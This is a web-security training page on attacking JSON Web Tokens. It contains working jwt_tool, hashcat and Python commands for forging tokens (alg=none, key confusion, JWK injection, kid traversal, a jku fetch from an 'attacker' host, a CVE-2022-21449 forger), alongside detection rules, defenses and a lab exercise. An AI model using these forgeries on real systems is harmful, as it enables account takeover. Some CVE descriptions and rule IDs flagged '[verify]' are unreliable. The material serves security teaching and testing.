Skip to content

JWT Attacks

JSON Web Tokens (RFC 7519) carry signed claims between two parties. The web adopted them for stateless sessions because they remove the server-side store — but in doing so they exposed a wide attack surface that has produced CVEs for a decade: CVE-2015-9235 (node-jsonwebtoken alg=none), CVE-2017-17426 (PyJWT key confusion), CVE-2022-21449 (Java ECDSA accepting r=s=0 signatures — the “Psychic Paper” forge), CVE-2022-23529 (jsonwebtoken RCE via key/header.kid), CVE-2024-5361 (another round of AAD JWK header confusion). The vulnerability class is not “JWT” — it is “JWT library + application code that trusts the token header to choose the verification algorithm.”

A JWT is three base64url-encoded parts joined by .:

header.payload.signature
header = {"alg":"HS256","typ":"JWT","kid":"2024-key"}
payload = {"sub":"user","role":"admin","exp":1735689600}
signature = HMAC-SHA256(base64url(header) + "." + base64url(payload), secret)
Sample (truncated):
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyIiwicm9sZSI6ImFkbWluIn0.xyz
Verification:
1. Parse header → read "alg"
2. Look up key by "kid" (or static)
3. Re-derive signature using "alg"
4. Constant-time compare with token's signature
5. Validate claims (exp, nbf, iss, aud)
Attack surface:
"alg" is attacker-controlled. If verify() chooses algorithm by it,
attacker picks "none" / "HS256" with public key / "RS256" with weak key.
"kid" is attacker-controlled. Path traversal, SQLi, SSRF into key lookup.
"jku"/"x5u" header. URL fetch of JWKS — SSRF if not allowlisted.
"jwk"/"jwe" embedded key. Library trusts the key in the header.
Claims. "exp" missing → no expiry. "role" claim accepted without authz check.

The fundamental error is letting the token describe how it should be verified. The application must pin the algorithm and key source.

  1. Decode the token — base64url-decode header and payload. The signature is binary; do not decode it as text.
  2. Read the alg — common values: HS256/HS384/HS512 (HMAC, symmetric), RS256/RS384/RS512 (RSA, asymmetric), ES256/ES384/ES512 (ECDSA), PS256/PS384/PS512 (RSA-PSS), EdDSA (Ed25519), none (no signature — for development, should never be accepted in production).
  3. Identify the library — the failure mode differs by library:
    • node-jsonwebtoken < 9.0.0 (CVE-2015-9235): verify(token, key) without algorithms array accepts alg=none.
    • PyJWT < 1.5.0 (CVE-2017-17426): RS256 → HS256 confusion. Sign with public key as HMAC secret.
    • java-jwt < 4.0.0 (CVE-2022-21449): ECDSA verification accepts (r,s) = (0,0) — any token with that signature validates.
    • jose4j (multiple CVEs): algorithm confusion, JWK header injection.
  4. Pick the attack — based on library + key configuration:
    • alg=none — strip signature, header {"alg":"none"}.
    • HS256/RS256 confusion — sign with public key as HMAC secret.
    • JWK header injection — embed attacker’s RSA public key in jwk header; sign with the matching private key. Library trusts the embedded key.
    • kid path traversal / SQLi — point key lookup at attacker file or use SQLi to match a known key.
    • jku/x5u SSRF — make the library fetch JWKS from attacker URL.
  5. Forge the token — modify payload (e.g., "role":"admin", "sub":"admin"), apply chosen attack, submit as Authorization: Bearer <token> or cookie.
TechniqueDescriptionDetection Difficulty
alg=noneStrip signature; header {"alg":"none"}Easy — fixed in modern libraries, but legacy code still vulnerable
RS256 → HS256 confusionSign with public key as HMAC secretMedium — needs public key access (JWKS endpoint, TLS cert)
JWK header injectionEmbed attacker public key in jwk headerMedium — CVE-2024-5361-style, depends on library
kid path traversalkid: "../../../../tmp/known_key" then sign with that known keyMedium — requires file path control
kid SQLikid: "key' UNION SELECT 'known_secret'-- " then sign with known_secretMedium — needs SQLi in key lookup
jku/x5u SSRFLibrary fetches JWKS from attacker URLHard — needs network egress from server
Brute HS256 secretjwt_tool -C -d rockyou.txtEasy if secret is weak (e.g., “secret”)
ECDSA r=s=0 forgeryCVE-2022-21449 — Java accepts (0,0) signatureEasy if Java < 17.0.3 / 18.0.1.1
Claim manipulationAdd role: admin, exp: 99999999999 — only works if signature brokenEasy if signature already bypassed
Refresh-token replayReuse stolen refresh token — no signature issue, just replayEasy — design flaw
aud/iss bypassLibrary doesn’t validate aud → token from another service acceptedMedium — multi-tenant apps
Terminal window
# Decode a JWT
echo -n '<JWT>' | cut -d. -f1 | tr '_-' '/+' | base64 -d 2>/dev/null # header
echo -n '<JWT>' | cut -d. -f2 | tr '_-' '/+' | base64 -d 2>/dev/null # payload
# Or use jq
echo '<JWT>' | tr '.' '\n' | head -2 | base64 -d 2>/dev/null
# Or jwt_tool for full analysis
python3 jwt_tool.py <JWT>
# Fetch JWKS public key (common endpoint)
curl -s http://target/.well-known/jwks.json | jq '.keys[0]'
# Convert JWK to PEM
python3 -c "
import json, base64, binascii
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
jwk = json.load(open('jwk.json'))
def b64url_decode(s): return base64.urlsafe_b64decode(s + '=' * (-len(s) % 4))
n = int.from_bytes(b64url_decode(jwk['n']), 'big')
e = int.from_bytes(b64url_decode(jwk['e']), 'big')
pub = rsa.RSAPublicNumbers(e, n).public_key()
print(pub.public_bytes(serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo).decode())
" > pub.pem
# alg=none attack — strip signature
python3 jwt_tool.py <JWT> -X n
# Output: a token with empty signature, header {"alg":"none"}
# RS256 → HS256 confusion
python3 jwt_tool.py <JWT> -X k -pk pub.pem
# Re-signs with HS256 using pub.pem content as the HMAC secret
# Tamper claims (then re-sign with chosen attack)
python3 jwt_tool.py <JWT> -T
# Interactive: edit claim, choose attack, output forged token
# Brute HS256 secret
python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt
# Or hashcat — mode 16500 is JWT HS256
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
# Or jwt-cracker (Node)
jwt-cracker "<JWT>" "abcdefghijklmnopqrstuv" 100000
# CVE-2022-21449 — Java ECDSA forgery (r=0, s=0)
# Construct a token with header {"alg":"ES256"} and signature = base64url(0x00 || 0x00 || 0x00 || 0x00)
python3 -c "
import base64, json
h = base64.urlsafe_b64encode(json.dumps({'alg':'ES256','typ':'JWT'}).encode()).rstrip(b'=')
p = base64.urlsafe_b64encode(json.dumps({'sub':'admin','role':'admin'}).encode()).rstrip(b'=')
s = base64.urlsafe_b64encode(b'\x00\x00\x00\x00').rstrip(b'=')
print(f'{h.decode()}.{p.decode()}.{s.decode()}')
"
# JWK header injection — embed your own RSA public key in the header
# Use jwt_tool's jwk injection
python3 jwt_tool.py <JWT> -X i
# Generates a fresh keypair, embeds public key in jwk header, signs with private
# kid path traversal
python3 jwt_tool.py <JWT> -X s -S hs256 -k '../../../../tmp/known_key' \
-I -hc kid -hv '../../../../tmp/known_key'
# Server reads key from /tmp/known_key (must be writable by you or use a default key)
# jku SSRF — point JWKS fetch at your server
# 1. Start a JWKS server serving your public key
# 2. Set header: {"jku":"http://attacker/jwks.json", ...}
# 3. Sign with the matching private key
python3 jwt_tool.py <JWT> -X s -S rs256 -I -hc jku -hv 'http://attacker/jwks.json' -pk pub.pem -pr priv.pem
# nuclei — JWT CVE templates
nuclei -u http://target -t ~/nuclei-templates/http/cves/ -tags jwt
nuclei -u http://target -t ~/nuclei-templates/http/cves/2022/CVE-2022-21449.yaml
nuclei -u http://target -t ~/nuclei-templates/http/cves/2015/CVE-2015-9235.yaml
# Burp extension: JWT Editor — sign tokens, embed JWK, brute keys
# Burp → Extender → BApp Store → JWT Editor
# Right-click token → Edit → Sign with key

ModSecurity OWASP CRS — no dedicated JWT rule family, but:

  • 920220 (Content-Type policy) — catches malformed Authorization: Bearer
  • 942100 (SQLi) — catches kid SQLi payloads
  • 930100 (LFI) — catches kid path-traversal payloads

Suricata — TLS-extracted JWKS hostnames can be matched against an allowlist via JA3+SNI correlation; no public SID for JWT header injection [verify].

MITRE ATT&CK T1606.001 — Forge Web Credentials: Web Cookies (covers JWT forging). MITRE ATT&CK T1550.001 — Application Access Token (JWT replay as an access token). MITRE ATT&CK T1190 — Exploit Public-Facing Application (the upstream for JWT verification CVEs).

Wazuh rule 920/31100 — JWT in URL or Authorization header containing alg:none [verify]. Wazuh decoder for Authorization: Bearer to extract token; rule 31100 to flag alg=none or kid traversal patterns [verify].

Log signature: application log shows JWT verification failure followed by success on the same sub — the tell that the library fell back to accepting the token. Alert on JWT verification failures > 0 for a given sub within a sliding 1-hour window.

Algorithm pinning check — first thing to fingerprint. Send a token with alg=none. Three responses:

  • 401 invalid signature — library rejects, pinning works.
  • 200 OK — library accepts none, immediate admin claim → take over.
  • 500 or library error — likely the algorithms array is set but the library has a bug (CVE-2015-9235 fell here — algorithms was only enforced when alg was a signature algorithm).

JWK header fingerprint. Send a token with jwk header containing a random key. If verification succeeds, the library is vulnerable to JWK header injection (CVE-2024-5361 — Microsoft AAD library class). If verification fails, the library ignores the embedded key — move on.

kid blind exploitation. Many apps log key-lookup failures. Try kid: nonexistent — if the error message says “key not found” vs. “invalid signature”, you have a hint. Try kid: /etc/passwd — if the verifier reads a file and fails with “PEM parse error” vs. “file not found”, you have file-read confirmation.

ECDSA malleability. CVE-2022-21449 was found by porting a unit test from another language. The Java ECDSA verifier did not check that r and s were non-zero. An attacker could send (r=0, s=0) and any payload validates. The fix was small (one check) but the bug was in java.security itself — every Java app on Java < 17.0.3 was vulnerable.

Claim inflation. Even with a valid signature attack, you must set the right claims. Common gaps:

  • exp missing → token never expires.
  • aud not validated → token from service A accepted by service B.
  • iss not validated → attacker-generated token accepted.
  • role/scope claim trusted without server-side authorization check → privilege escalation.

HMAC secret rotation. If the HS256 secret rotates, you must crack before rotation. Watch the iat claim to time-bound your cracking window.

AttackLibrary/VersionDefense
alg=nonenode-jsonwebtoken < 9.0.0, jose4j (multiple), java-jwt < 4.0Pass algorithms=['HS256','RS256'] (never none); upgrade library
RS256→HS256PyJWT < 1.5.0, jose4j without setAllowNoneKey(false)Separate key stores; pin algorithm; use library with strict mode
JWK header injectionSome AAD SDKs, jose4j without setAllowJwkHeader(false)Do not trust jwk header; fetch JWKS from configured URL only
kid traversalCustom key lookup codeAllowlist kid values; do not use kid as a path
ECDSA r=s=0Java < 17.0.3, 18.0.1.1, 18.0.1Upgrade Java; verify r, s ∈ [1, n-1]
Brute HS256Any library + weak secretUse 256-bit random secret from CSPRNG; store in vault

⚠️ What caught me: A target had RS256 JWTs with a properly pinned algorithms: ['RS256'] array. The verify call looked bulletproof. The bypass: the library trusted the jwk header in the JWT — the developer had configured JWKS fetching with jwksClient but the library fell back to the embedded jwk when the kid didn’t match any cached key. I generated a fresh RSA keypair, embedded the public key as a jwk in the JWT header, signed with the private key, and got 200 OK with sub: admin. This was CVE-2024-5361-style. The lesson: algorithms= does not protect against key-source confusion. Always set allowJwkHeader=false (or equivalent) and pin the JWKS URL.

Container: portainer/portainer-ce older images contain a known JWT decode path; better choice: the dedicated JWT lab.

Terminal window
docker run --rm -d -p 3000:3000 bkimminich/juice-shop
# Juice Shop has the "Broken Authentication" challenge series:
# - Login Admin (JWT alg=none)
# - BitWarden-like JWT manipulation
# - OAuth-style challenges
# Browse to http://localhost:3000 → Score Board → search "JWT"

Alternative: build the PortSwigger Web Security Academy JWT labs (free, browser-based) — they cover alg=none, JWK header, kid traversal, and algorithm confusion in isolated labs.

Objective: complete (1) alg=none bypass, (2) RS256 → HS256 confusion (with extracted public key), (3) JWK header injection. Submit the modified token in the Authorization: Bearer header.

Expected flag format: flag{jwt_alg_none_or_confusion_or_jwk_injection}.

Detection that should fire: ModSecurity 942100 if kid SQLi is used; the application log should show JWT verification failures followed by successful auth — alert on this signature. For JWK header injection, the JWKS cache miss log line is the tell.

Conceptual: why is alg=none in the JWT spec at all? What legitimate use case was it designed for, and why does accepting it in production always indicate a bug?

Technical: walk through CVE-2022-21449 (Java ECDSA r=s=0 forgery). What single check did the verifier omit, and what does this say about the assumption that “verified signature = authentic token”?

Scenario: you have a target’s public RSA key from its JWKS endpoint, the JWT uses RS256, and the verify call is jwt.verify(token, publicKey, {algorithms: ['RS256']}). Describe the three other attack classes still possible despite the algorithm pinning.

Compare HMAC (symmetric) and RSA/ECDSA (asymmetric) JWT signing. For each, give one attack that is easier against it than the other, and one operational disadvantage.

What is the JWK header injection attack (CVE-2024-5361 class), and why does pinning the algorithm via algorithms= [...] not prevent it?

→ W12 (Session Management Attacks) · W14 (OAuth & OIDC Attacks) · W11 (Authentication Bypass)